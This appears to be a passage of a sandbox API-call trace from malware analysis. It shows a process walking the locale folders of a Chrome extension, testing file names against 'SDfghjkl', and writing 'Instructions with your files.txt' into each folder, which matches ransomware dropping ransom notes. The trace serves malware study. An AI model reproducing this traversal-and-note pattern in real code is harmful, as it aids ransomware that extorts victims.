[0128.960] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.960] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.960] CloseHandle (hObject=0x134) returned 1
[0128.960] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.960] GetProcessHeap () returned 0x810000
[0128.960] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.960] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0128.960] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned 141
[0128.960] GetProcessHeap () returned 0x810000
[0128.960] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.960] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*") returned 143
[0128.960] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.961] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\.") returned 143
[0128.961] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.961] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\..") returned 144
[0128.961] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.961] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 155
[0128.961] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.961] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.961] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\Instructions with your files.txt") returned 174
[0128.962] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.962] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.963] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.963] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.963] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.963] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.963] CloseHandle (hObject=0x134) returned 1
[0128.963] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.963] GetProcessHeap () returned 0x810000
[0128.963] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.963] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0128.963] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned 141
[0128.963] GetProcessHeap () returned 0x810000
[0128.963] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.963] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*") returned 143
[0128.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.964] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\.") returned 143
[0128.964] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.964] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\..") returned 144
[0128.964] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.964] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 155
[0128.964] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.964] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.964] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\Instructions with your files.txt") returned 174
[0128.964] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.964] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.965] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.965] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.965] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.965] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.966] CloseHandle (hObject=0x134) returned 1
[0128.966] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.966] GetProcessHeap () returned 0x810000
[0128.966] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.966] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0128.966] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned 141
[0128.966] GetProcessHeap () returned 0x810000
[0128.966] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.966] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*") returned 143
[0128.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.967] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\.") returned 143
[0128.967] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.967] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\..") returned 144
[0128.967] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.967] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 155
[0128.967] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.967] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.967] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\Instructions with your files.txt") returned 174
[0128.967] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.967] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.968] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.968] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.969] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.969] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.969] CloseHandle (hObject=0x134) returned 1
[0128.969] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.969] GetProcessHeap () returned 0x810000
[0128.969] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.969] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0128.969] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned 141
[0128.969] GetProcessHeap () returned 0x810000
[0128.969] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.969] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*") returned 143
[0128.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.969] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\.") returned 143
[0128.969] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.969] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\..") returned 144
